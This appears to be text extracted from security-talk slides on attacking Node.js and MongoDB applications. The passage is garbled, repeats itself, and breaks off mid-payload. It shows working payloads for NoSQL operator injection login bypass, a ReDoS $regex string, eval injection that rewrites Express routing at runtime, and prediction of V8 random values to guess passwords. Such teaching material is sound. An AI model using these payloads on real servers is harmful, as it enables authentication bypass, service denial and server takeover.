httplocalhost49090adda=3ampb=8
Questions
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
